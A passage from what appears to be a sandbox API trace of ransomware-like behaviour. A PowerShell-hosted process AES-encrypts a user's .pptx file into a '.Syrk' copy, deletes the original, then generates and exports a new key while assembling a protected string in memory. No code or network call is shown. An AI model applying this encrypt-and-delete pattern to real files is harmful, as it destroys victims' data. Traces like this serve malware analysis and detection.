nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.667] EtwEventActivityIdControl () returned 0x0 [0227.667] EtwEventActivityIdControl () returned 0x0 [0227.667] EtwEventActivityIdControl () returned 0x0 [0227.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0227.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk", lpFilePart=0x0) returned 0x37 [0227.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0227.668] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0227.669] GetFileType (hFile=0x458) returned 0x1 [0227.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0227.669] GetFileType (hFile=0x458) returned 0x1 [0227.669] EtwEventActivityIdControl () returned 0x0 [0227.669] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x23d3be8 | out: pbBuffer=0x23d3be8) returned 1 [0227.670] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0227.670] CryptDuplicateKey (in: hKey=0x5c99960, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995a0) returned 1 [0227.671] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0227.671] CryptSetKeyParam (hKey=0x5c995a0, dwParam=0x4, pbData=0x23d4f20*=0x1, dwFlags=0x0) returned 1 [0227.671] CryptSetKeyParam (hKey=0x5c995a0, dwParam=0x1, pbData=0x23d4eec, dwFlags=0x0) returned 1 [0227.671] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.671] EtwEventActivityIdControl () returned 0x0 [0227.671] EtwEventActivityIdControl () returned 0x0 [0227.671] EtwEventActivityIdControl () returned 0x0 [0227.672] EtwEventActivityIdControl () returned 0x0 [0227.672] ReadFile (in: hFile=0x454, lpBuffer=0x23d7b5c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d7b5c*, lpNumberOfBytesRead=0x5a2e7d8*=0x101a3, lpOverlapped=0x0) returned 1 [0227.674] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ebb74*, pdwDataLen=0x5a2e7cc*=0x101a0, dwBufLen=0x101a0 | out: pbData=0x23ebb74*, pdwDataLen=0x5a2e7cc*=0x101a0) returned 1 [0227.675] WriteFile (in: hFile=0x458, lpBuffer=0x23d3cd0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23d3cd0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0227.677] WriteFile (in: hFile=0x458, lpBuffer=0x23ecb60*, nNumberOfBytesToWrite=0xf1b4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23ecb60*, lpNumberOfBytesWritten=0x5a2e7b0*=0xf1b4, lpOverlapped=0x0) returned 1 [0227.678] ReadFile (in: hFile=0x454, lpBuffer=0x23d7b5c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d7b5c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0227.678] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23fbd20*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23fbd20*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0227.678] CryptEncrypt (in: hKey=0x5c995a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23fbd3c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23fbd3c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0227.679] WriteFile (in: hFile=0x458, lpBuffer=0x23d3cd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23d3cd0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0227.679] CloseHandle (hObject=0x458) returned 1 [0227.762] CloseHandle (hObject=0x454) returned 1 [0227.762] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.763] EtwEventActivityIdControl () returned 0x0 [0227.763] EtwEventActivityIdControl () returned 0x0 [0227.763] EtwEventActivityIdControl () returned 0x0 [0227.768] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 0x20 [0227.770] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.770] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 [0227.770] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0227.770] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0227.770] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0227.771] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0227.771] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0227.771] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0227.771] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0227.771] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0227.771] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0227.771] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0227.771] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0227.771] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0227.771] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0227.772] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0227.772] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0227.772] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0227.772] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 0x20 [0227.772] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.772] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 [0227.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 [0227.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0227.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.775] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 [0227.830] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0227.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0227.831] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0227.831] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0227.831] CoTaskMemFree (pv=0x5c9a950) [0227.833] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 0x20 [0227.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0227.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx", lpFilePart=0x0) returned 0x32 [0227.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0227.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2407700 | out: lpFileInformation=0x2407700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4872aa10, ftCreationTime.dwHighDateTime=0x1d94c27, ftLastAccessTime.dwLowDateTime=0x56d20480, ftLastAccessTime.dwHighDateTime=0x1d97110, ftLastWriteTime.dwLowDateTime=0x56d20480, ftLastWriteTime.dwHighDateTime=0x1d97110, nFileSizeHigh=0x0, nFileSizeLow=0x101a3)) returned 1 [0227.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0227.833] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx")) returned 1 [0227.836] EtwEventActivityIdControl () returned 0x0 [0227.836] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.836] EtwEventActivityIdControl () returned 0x0 [0227.837] EtwEventActivityIdControl () returned 0x0 [0227.837] EtwEventActivityIdControl () returned 0x0 [0227.844] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx.syrk")) returned 0x20 [0227.845] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx.syrk")) returned 0x20 [0227.845] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0227.845] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk", lpFilePart=0x0) returned 0x37 [0227.845] EtwEventActivityIdControl () returned 0x0 [0227.846] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.846] EtwEventActivityIdControl () returned 0x0 [0227.846] EtwEventActivityIdControl () returned 0x0 [0227.846] EtwEventActivityIdControl () returned 0x0 [0227.850] EtwEventActivityIdControl () returned 0x0 [0227.850] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.850] EtwEventActivityIdControl () returned 0x0 [0227.850] EtwEventActivityIdControl () returned 0x0 [0227.850] EtwEventActivityIdControl () returned 0x0 [0227.933] EtwEventActivityIdControl () returned 0x0 [0227.933] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.934] EtwEventActivityIdControl () returned 0x0 [0227.934] EtwEventActivityIdControl () returned 0x0 [0227.934] EtwEventActivityIdControl () returned 0x0 [0227.938] EtwEventActivityIdControl () returned 0x0 [0227.939] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.939] EtwEventActivityIdControl () returned 0x0 [0227.939] EtwEventActivityIdControl () returned 0x0 [0227.939] EtwEventActivityIdControl () returned 0x0 [0227.943] EtwEventActivityIdControl () returned 0x0 [0227.943] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.944] EtwEventActivityIdControl () returned 0x0 [0227.944] EtwEventActivityIdControl () returned 0x0 [0227.944] EtwEventActivityIdControl () returned 0x0 [0227.948] EtwEventActivityIdControl () returned 0x0 [0227.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0227.953] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bx_hg08 qccc73wA.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\bx_hg08 qccc73wa.pptx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24116b8 | out: lpFileInformation=0x24116b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b75f80, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x3b75f80, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x3c5a7c0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x101c4)) returned 1 [0227.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0227.954] GetConsoleOutputCP () returned 0x1b5 [0227.954] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.955] GetConsoleOutputCP () returned 0x1b5 [0227.955] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.955] GetConsoleOutputCP () returned 0x1b5 [0227.955] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.955] GetConsoleOutputCP () returned 0x1b5 [0227.955] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.955] GetConsoleOutputCP () returned 0x1b5 [0227.955] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.956] GetConsoleOutputCP () returned 0x1b5 [0227.956] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.956] GetConsoleOutputCP () returned 0x1b5 [0227.956] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.956] GetConsoleOutputCP () returned 0x1b5 [0227.956] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.956] GetConsoleOutputCP () returned 0x1b5 [0227.957] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.957] GetConsoleOutputCP () returned 0x1b5 [0227.957] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.957] GetConsoleOutputCP () returned 0x1b5 [0227.957] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.957] GetConsoleOutputCP () returned 0x1b5 [0227.957] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.957] GetConsoleOutputCP () returned 0x1b5 [0227.958] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0227.958] GetConsoleOutputCP () returned 0x1b5 [0227.958] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0227.958] GetConsoleOutputCP () returned 0x1b5 [0227.958] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.958] GetConsoleOutputCP () returned 0x1b5 [0227.958] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0227.958] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0227.959] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0227.959] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x242b344*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x242b344*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0227.960] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0227.960] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0227.961] EtwEventActivityIdControl () returned 0x0 [0227.961] EtwEventActivityIdControl () returned 0x0 [0227.961] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.961] EtwEventActivityIdControl () returned 0x0 [0227.962] EtwEventActivityIdControl () returned 0x0 [0227.962] EtwEventActivityIdControl () returned 0x0 [0227.964] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.964] EtwEventActivityIdControl () returned 0x0 [0227.964] EtwEventActivityIdControl () returned 0x0 [0227.964] EtwEventActivityIdControl () returned 0x0 [0227.966] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0227.968] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0227.968] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0227.968] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0227.968] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2432d1c, pdwDataLen=0x5a2e8c4 | out: pbData=0x2432d1c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0227.968] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.969] EtwEventActivityIdControl () returned 0x0 [0227.969] EtwEventActivityIdControl () returned 0x0 [0227.969] EtwEventActivityIdControl () returned 0x0 [0227.970] SysStringLen (param_1="") returned 0x8 [0227.970] SysStringLen (param_1="P") returned 0x8 [0227.970] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.970] SysStringLen (param_1="唖ⓕ䇏ꆄㄏ켡㄰") returned 0x8 [0227.970] SysStringLen (param_1="唖ⓕ䇏ꆄㄏ켡㄰") returned 0x8 [0227.970] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.970] SysStringLen (param_1="PW") returned 0x8 [0227.970] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.970] SysStringLen (param_1="뜄㻱敤ී崈") returned 0x8 [0227.970] SysStringLen (param_1="뜄㻱敤ී崈") returned 0x8 [0227.970] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.970] SysStringLen (param_1="PWh") returned 0x8 [0227.970] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.971] SysStringLen (param_1="〛▪᭷岫㙚뚦") returned 0x8 [0227.971] SysStringLen (param_1="〛▪᭷岫㙚뚦") returned 0x8 [0227.971] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.971] SysStringLen (param_1="PWhj") returned 0x8 [0227.971] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.971] SysStringLen (param_1="ਔ궶瀿⯼鵷蛑म") returned 0x8 [0227.971] SysStringLen (param_1="ਔ궶瀿⯼鵷蛑म") returned 0x8 [0227.971] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.971] SysStringLen (param_1="PWhjo") returned 0x8 [0227.971] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.971] SysStringLen (param_1="࣭獇Ṇ铋ꐃ벘㱎됋") returned 0x8 [0227.971] SysStringLen (param_1="࣭獇Ṇ铋ꐃ벘㱎됋") returned 0x8 [0227.971] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.972] SysStringLen (param_1="PWhjof") returned 0x8 [0227.972] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.972] SysStringLen (param_1="힢ᴽ睤ﾫ枟䄜垗ﮩ") returned 0x8 [0227.972] SysStringLen (param_1="힢ᴽ睤ﾫ枟䄜垗ﮩ") returned 0x8 [0227.972] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.972] SysStringLen (param_1="PWhjofT") returned 0x8 [0227.972] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.972] SysStringLen (param_1="㙅ꉅꦖꑧ쫀丸") returned 0x8 [0227.972] SysStringLen (param_1="㙅ꉅꦖꑧ쫀丸") returned 0x8 [0227.972] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.972] SysStringLen (param_1="PWhjofTg") returned 0x8 [0227.972] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.972] SysStringLen (param_1="ࡇ翃䰻\\矘䅅") returned 0x8 [0227.973] SysStringLen (param_1="ࡇ翃䰻\\矘䅅") returned 0x8 [0227.973] SysStringLen (param_1="ࡇ翃䰻\\矘䅅") returned 0x8 [0227.973] 